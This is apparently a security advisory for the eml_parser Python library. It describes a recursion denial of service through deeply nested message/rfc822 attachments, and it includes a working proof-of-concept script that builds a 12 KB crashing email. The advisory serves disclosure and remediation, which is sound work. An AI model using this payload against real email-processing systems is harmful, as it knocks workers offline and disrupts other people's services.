eml_parser has recursion DoS via nested message/rfc822 attachments

Summary

EmlParser.get_raw_body_text() recurses unconditionally for every nested message/rfc822 attachment without any depth limit. An attacker who can supply a badly crafted EML file with approximately 120 nested message/rfc822 parts triggers an unhandled RecursionError and aborts parsing of the message. A 12 KB EML file is enough to crash a worker. Though this causes the parser to crash, it is an unlikely scenario as the suggested EML that crashes the parser would not pass basic RFC compliance tests.

Details

The vulnerable function is EmlParser.get_raw_body_text() in eml_parser/parser.py. For every part of type multipart/*, the function iterates over its sub-parts; for every sub-part of type message/rfc822, it calls itself recursively on the inner message:

There is no depth parameter and no early-abort. CPython's default sys.recursionlimit is 1000. Each level of message/rfc822 nesting adds approximately 8 frames to the stack (parser code + stdlib _header_value_parser calls), so roughly 120 nested levels exhaust the limit.

The RecursionError is not caught anywhere along the call chain, so it propagates out of decode_email_bytes() and aborts processing of the entire message.

PoC

Environment: Python 3.12.3, eml_parser 3.0.0 (pip install eml_parser==3.0.0), default sys.recursionlimit=1000, Ubuntu 24.04 aarch64. No special configuration of EmlParser, default constructor.

Self-contained reproducer that builds the PoC and triggers the crash:

import eml_parser

def build_poc(depth=124):
    inner = b"From: a@a\r\nTo: b@b\r\nContent-Type: text/plain\r\n\r\n.\r\n"
    msg = inner
    for i in range(depth):
        b = f"B{i}".encode()
        msg = (
            b'Content-Type: multipart/mixed; boundary="' + b + b'"\r\n\r\n'
            b'--' + b + b'\r\nContent-Type: message/rfc822\r\n\r\n'
        ) + msg + b'\r\n--' + b + b'--\r\n'
    return msg

ep = eml_parser.EmlParser()
ep.decode_email_bytes(build_poc())
# RecursionError after ~76 ms on Apple Silicon (Ubuntu 24.04 aarch64).

Note that the suggested code does not produce an RFC compliant message. Resulting EML payload size: 12,369 bytes. SHA-256 of generated PoC: 00f15f635e21b4144967c2893b37425e6a6bd7b4185c557e5c7e904e1e6d18e8

The crash is deterministic on a stock install. No network, no special headers, no large attachments.

Impact

Denial of service of any pipeline that processes attacker-supplied EML files using eml_parser.

A single 12 KB email is enough to crash a worker. If the worker is a long-running process triaging multiple emails, the unhandled exception aborts processing of the whole batch unless the caller wraps the call in a broad try/except. Even then, attacker-supplied volume can keep workers in a perpetual restart loop.

The vulnerability is exploitable pre-authentication in any deployment that ingests emails from external senders which have not been subject to any kind of basic validation. Considering that email messages pass through a mail-server which does some kind of validation, messages as produced by the build_poc function would not reach eml_parser. Nonetheless recursion depth checks have been implemented to handle the described issue.

Reporter

Sebastián Alba Vives (@Sebasteuo) Independent security researcher, Senior AppSec Consultant LinkedIn: https://www.linkedin.com/in/sebastian-alba Email: sebasjosue84@gmail.com PGP: 0D1A E4C2 CFC8 894F 19EA DA24 45CD CA33 2CF8 31F4